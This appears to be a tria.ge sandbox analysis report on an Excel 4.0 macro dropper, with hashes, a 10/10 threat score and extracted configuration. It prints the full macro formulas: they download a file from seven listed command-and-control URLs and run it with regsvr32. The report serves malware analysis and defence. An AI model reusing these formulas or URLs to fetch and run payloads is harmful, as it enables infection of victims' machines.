Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    94add042899e96471880c95383de920bc8802560e2c933bb871797892fe7c860

  • Size

    35KB

  • Sample

    241111-z1e1wszlhl

  • MD5

    92ebf995f695702ab4271b2eb89d9d3f

  • SHA1

    c778518feda2779b8c4fa87e1fdba5faf2f3c882

  • SHA256

    94add042899e96471880c95383de920bc8802560e2c933bb871797892fe7c860

  • SHA512

    adf9b07e74e45fc1c15ed6012a7c8569b9db1afebbb705d92a388fb39b72edfc7d87f67b198743f55025b4e0f8a45792a262e903efbe11422ea4532b726b4777

  • SSDEEP

    768:DrtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:DrtlgCUOZZ1ZYpoQ/pMAIY

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/

https://brutobrasil.com.br/pdf/SSscCUKBvL/

https://mdmd.fun/wp-includes/Y00y/

https://appanwendung.com/wp-admin/dvDn7/

https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/

https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/

https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/SSscCUKBvL/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mdmd.fun/wp-includes/Y00y/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appanwendung.com/wp-admin/dvDn7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/

xlm40.dropper

https://brutobrasil.com.br/pdf/SSscCUKBvL/

xlm40.dropper

https://mdmd.fun/wp-includes/Y00y/

xlm40.dropper

https://appanwendung.com/wp-admin/dvDn7/

xlm40.dropper

https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/

xlm40.dropper

https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/

xlm40.dropper

https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/

Targets

    • Target

      94add042899e96471880c95383de920bc8802560e2c933bb871797892fe7c860

    • Size

      35KB

    • MD5

      92ebf995f695702ab4271b2eb89d9d3f

    • SHA1

      c778518feda2779b8c4fa87e1fdba5faf2f3c882

    • SHA256

      94add042899e96471880c95383de920bc8802560e2c933bb871797892fe7c860

    • SHA512

      adf9b07e74e45fc1c15ed6012a7c8569b9db1afebbb705d92a388fb39b72edfc7d87f67b198743f55025b4e0f8a45792a262e903efbe11422ea4532b726b4777

    • SSDEEP

      768:DrtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:DrtlgCUOZZ1ZYpoQ/pMAIY

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks